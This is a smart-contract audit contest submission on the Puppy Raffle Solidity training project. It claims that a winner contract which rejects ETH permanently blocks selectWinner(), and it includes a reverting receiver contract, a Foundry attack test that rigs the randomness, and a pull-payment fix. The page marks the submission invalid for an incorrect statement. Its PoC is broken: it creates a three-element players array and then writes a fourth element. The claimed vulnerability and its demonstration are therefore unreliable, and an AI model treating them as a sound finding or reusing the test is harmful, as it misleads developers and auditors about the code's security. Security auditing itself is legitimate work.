Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

Raffle round can be permanently bricked if the winner rejects ETH (push-payment DoS)

Description

  • Normal behavior: After the raffle duration has elapsed, anyone can call selectWinner() to finalize the round.
    The function selects a winner, transfers the prize pool (80% of collected funds) to the winner, mints the NFT, resets the raffle state, and allows the protocol to proceed to the next round.

  • Issue: The raffle completion logic relies on a push-based ETH transfer to the selected winner and requires this transfer to succeed.
    If the winner is a contract that rejects ETH (e.g., by reverting in receive or fallback), the ETH transfer fails and causes selectWinner() to revert entirely.

    Because all state changes occur after the ETH transfer, the raffle round cannot be finalized, and the protocol becomes stuck in the same state.
    As a result, a single non-payable winner can permanently prevent the raffle from completing, causing a liveness failure of the core protocol functionality.

function selectWinner() external {
...
raffleStartTime = block.timestamp;
previousWinner = winner;
// Push-based payout: winner can be a contract that rejects ETH, causing selectWinner() to revert
// and permanently preventing the raffle round from being finalized (liveness DoS).
(bool success,) = winner.call{value: prizePool}("");
@> require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood:

  • The raffle allows contract-based participants, and selectWinner() can be called by any address once the raffle duration has elapsed, making it possible for a non-payable contract to be selected as the winner during normal protocol operation.

  • The protocol does not provide any alternative completion path or recovery mechanism if the selected winner cannot receive ETH, so a single malicious or incompatible winner is sufficient to block progress.

Impact:

  • The raffle round cannot be finalized, as selectWinner() will consistently revert when attempting to transfer the prize pool to a non-payable winner.

  • Core protocol liveness is broken: no winner can be selected, no NFT can be minted, and the raffle cannot progress to the next round, resulting in a permanent denial of service of the primary protocol functionality.

Proof of Concept

src/RejectETH.sol

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract RejectETH {
receive() external payable {
revert();
}
fallback() external payable {
revert();
}
}

PuppyRaffleTest.t.sol

The PoC fixes block inputs to deterministically select a contract that rejects ETH as the winner for demonstration purposes. The vulnerability itself does not rely on controlling randomness, as the raffle’s progress depends on the winner successfully receiving ETH.

An attacker may increase the likelihood of this scenario by registering multiple contract-based participants that intentionally reject ETH, causing the raffle round to become non-finalizable once such a participant is selected.

import {RejectETH} from "../src/RejectETH.sol";
...
function test_selectWinner_DoS_whenWinnerRejectsETH() public {
address attackerEOA = address(0xBaD);
RejectETH rejectETH = new RejectETH();
// 1) Make the test deterministic
uint256 t = 1680616584;
uint256 d = 1; // any fixed difficulty works for deterministic PoC
vm.warp(t);
vm.difficulty(d);
// 2) Choose who will call selectWinner (affects RNG)
address caller = attackerEOA;
// 3) Compute the winner index exactly like the contract
uint256 playersLen = 4;
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(caller, t, d))
) % playersLen;
// 4) Build players so that the computed winner is the RejectETH contract
address[] memory players = new address[](3);
// Fill with normal EOAs first
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
// Place malicious winner at the computed index
players[winnerIndex] = address(rejectETH);
// 5) Enter raffle (payer can be anyone; use attackerEOA for simplicity)
uint256 totalEntry = entranceFee * playersLen;
vm.deal(attackerEOA, totalEntry);
vm.prank(attackerEOA);
puppyRaffle.enterRaffle{value: totalEntry}(players);
// 6) Move time forward so raffle is over
vm.warp(puppyRaffle.raffleStartTime() + duration + 1);
// 7) selectWinner reverts because winner rejects ETH
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
vm.prank(caller);
puppyRaffle.selectWinner();
}

Recommended Mitigation

Avoid push-based ETH transfers during raffle finalization. Instead of requiring the prize payout to succeed within selectWinner(), record the winner and the prize amount, and allow the winner to claim the prize via a separate pull-based withdrawal function.

Alternatively, store the prize in escrow and decouple raffle completion from ETH transfer success, so that a non-payable or reverting winner cannot block protocol progress. This ensures that the raffle round can always be finalized, preserving core protocol liveness regardless of winner behavior.

contract PuppyRaffle is ERC721, Ownable {
...
address public previousWinner;
address public feeAddress;
uint64 public totalFees = 0;
+
+ // Prize escrow for pull-based payout
+ mapping(address => uint256) public pendingPrizes;
...
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
...
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ // Record prize for pull-based withdrawal
+ pendingPrizes[winner] += prizePool;
_safeMint(winner, tokenId);
}
...
+ /// @notice Allows winners to withdraw their prize via pull-based payment
+ function withdrawPrize() external {
+ uint256 prize = pendingPrizes[msg.sender];
+ require(prize > 0, "PuppyRaffle: No prize to withdraw");
+
+ pendingPrizes[msg.sender] = 0;
+ (bool success,) = msg.sender.call{value: prize}("");
+ require(success, "PuppyRaffle: Prize withdrawal failed");
+ }

The fix decouples raffle finalization from ETH transfer success by introducing a pull-based prize withdrawal mechanism, ensuring that a non-payable or reverting winner cannot block protocol progress.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!